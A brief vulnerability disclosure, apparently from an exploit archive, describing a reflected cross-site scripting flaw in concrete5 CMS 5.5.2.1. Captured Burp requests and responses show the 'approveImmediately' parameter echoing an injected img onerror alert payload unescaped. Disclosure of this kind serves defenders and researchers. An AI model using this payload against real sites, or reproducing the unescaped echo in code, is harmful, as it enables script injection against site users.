[ 1. What is this?
This is very nice CMS, You should try it! ;)

[ 3. Where is bug :)
Below I present You some traffic from Burp Proxy:

...[cut from Burp]...
GET /concrete5.5.2.1/index.php/tools/required/edit_collection_popup.php?
approveImmediately=%22%3e%3cimg%20src%3dx%20onerror%3dalert(123123123)%3e&cID=102&ctask=edit_metadata HTTP/1.1
Host: localhost
(...)
X-Requested-With: XMLHttpRequest
Cookie: CONCRETE5=...

...[end of cut]...

So vulnerable parameter is "approveImmediately", check it out:

...[answer (response) from Burp]...
(...)
<form method="post" name="permissionForm" id="ccmMetadataForm" action="http://localhost/concrete5.5.2.1/index.php?cID=102&ccm_token=...:...">
<input type="hidden" name="approveImmediately" value=""><img src=x onerror=alert(123123123)>" />
(...)

...[end of response]...
